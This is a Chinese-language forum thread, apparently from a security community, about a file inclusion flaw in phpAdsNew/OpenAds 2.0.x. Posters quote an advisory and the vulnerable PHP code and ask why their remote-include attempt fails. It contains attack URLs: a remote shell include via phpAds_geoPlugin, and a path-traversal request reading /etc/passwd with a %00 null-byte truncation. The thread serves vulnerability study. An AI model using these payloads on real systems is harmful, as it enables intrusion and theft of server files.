[讨论]php远程包含问题!~
议题作者:寂寞hacker信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])'
影响版本:
phpAdsNew phpAdsNew 2.0.8 -pr1
phpAdsNew phpAdsNew 2.0.8
phpAdsNew phpAdsNew 2.0.7 rc1
phpAdsNew phpAdsNew 2.0.7
phpAdsNew phpAdsNew 2.0.6
phpAdsNew phpAdsNew 2.0.5
phpAdsNew phpAdsNew 2.0.4 -pr2
phpAdsNew phpAdsNew 2.0.4 -pr1
phpAdsNew phpAdsNew 2.0 beta 6
phpAdsNew phpAdsNew 2.0 beta 5
phpAdsNew phpAdsNew 2.0.9-pr1
phpAdsNew phpAdsNew 2 dev 30092001
phpAdsNew phpAdsNew 2 dev 09102001
Openads Openads 2.0.11
Openads Openads 2.0.10
详细说明:
OpenAds是一款基于PHP的WEB应用程序。
OpenAds不正确过滤用户提交的URI输入,远程攻击者可以利用漏洞以WEB权限执行任意命令。
问题是脚本'Lib-RemoteHost.INC.PHP'对用户提交的'phpAds_geoPlugin'参数缺少过滤,指定远程服务器上的任意文件作为包含对象,可导致以WEB权限执行任意命令。
参考:
漏洞提供者
Ma$tEr-0F-De$a$t0r
解决方案:
目前没有解决方案提供:
[url]http://www.openads.org/[/url]
测试方法:
[警 告]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
[url]http://www.example.com/libraries/lib-remotehost.inc.php?phpAds_geoPlugin=EviL[/url] ShEll
以上为漏洞简介,有问题的代码如下:
function phpAds_geoLookup()
{
global $phpAds_config, $phpAds_geoPluginID;
if (!$phpAds_config['geotracking_type'])
return;
// Load plugin
$phpAds_geoPlugin = phpAds_path."/libraries/geotargeting/geo-".$phpAds_config['geotracking_type'].".inc.php";
if (@file_exists($phpAds_geoPlugin))
{
include_once ($phpAds_geoPlugin);
if (isset($_COOKIE['phpAds_geoInfo']))
{
// Use cookie if available
$geoinfo = explode('|', $_COOKIE['phpAds_geoInfo']);
if (count($geoinfo) == 13)
{
$geoinfo = array(
'country' => $geoinfo[0] != '' ? $geoinfo[0] : false,
'continent' => $geoinfo[1] != '' ? $geoinfo[1] : false,
'region' => $geoinfo[2] != '' ? $geoinfo[2] : false,
'fips_code' => $geoinfo[3] != '' ? $geoinfo[3] : false,
'city' => $geoinfo[4] != '' ? $geoinfo[4] : false,
'postal_code' => $geoinfo[5] != '' ? $geoinfo[5] : false,
'latitude' => $geoinfo[6] != '' ? $geoinfo[6] : false,
'longitude' => $geoinfo[7] != '' ? $geoinfo[7] : false,
'dma_code' => $geoinfo[8] != '' ? $geoinfo[8] : false,
'area_code' => $geoinfo[9] != '' ? $geoinfo[9] : false,
'org_isp' => $geoinfo[10] != '' ? $geoinfo[10] : false,
'netspeed' => $geoinfo[11] != '' ? $geoinfo[11] : false,
'fingerprint' => $geoinfo[12] != '' ? $geoinfo[12] : false
);
// Check cookie validity
$fingerprint = call_user_func('phpAds_'.$phpAds_geoPluginID.'_getFingerprint');
if ($geoinfo['fingerprint'] == $fingerprint)
return $geoinfo;
}
}
// No cookie or invalid cookie
$geoinfo = call_user_func('phpAds_'.$phpAds_geoPluginID.'_getGeo',
$_SERVER['REMOTE_ADDR'],
$phpAds_config['geotracking_location']
);
// Add fingerprint
$geoinfo['fingerprint'] = call_user_func('phpAds_'.$phpAds_geoPluginID.'_getFingerprint');
return $geoinfo;
}
return false;
}
关键是这句
$phpAds_geoPlugin = phpAds_path."/libraries/geotargeting/geo-".$phpAds_config['geotracking_type'].".inc.php";
if (@file_exists($phpAds_geoPlugin))
{
include_once ($phpAds_geoPlugin);
phpAds_geoPlugin参数没有过滤好,可是提交
libraries/lib-remotehost.inc.php?phpAds_geoPlugin=http://www.baidu.com/1.txt
却显示空白页面,小弟PHP不会,麻烦哪位大大看看!Thank! 郁闷中。。。。。。。。。。哪位大虾指教下。难道都泡妞去鸟? $phpAds_geoPlugin = phpAds_path."/libraries/geotargeting/geo-".$phpAds_config['geotracking_type'].".inc.php";
//变量 $phpAds_geoPlugin 初始化.
if (@file_exists($phpAds_geoPlugin)) //判断包含文件是否存在.
{
include_once ($phpAds_geoPlugin); // 如果为真,包含之。
这个属于本地包含! 利用几率很小。(PHP < 4.2.3 可以用 %00 来截断后面的 inc.php)
因为$phpAds_config['geotracking_type'] 有声明。
利用方式为:
[url]http://www.example.com/libraries/lib-remotehost.inc.php?phpAds_config[/url]['geotracking_type']=/../../../../../etc/passwd%00 有个问题不明白
$phpAds_geoPlugin变量又没用post或get传值
为什么$phpAds_geoPlugin就可以控制呢?
页:
[1]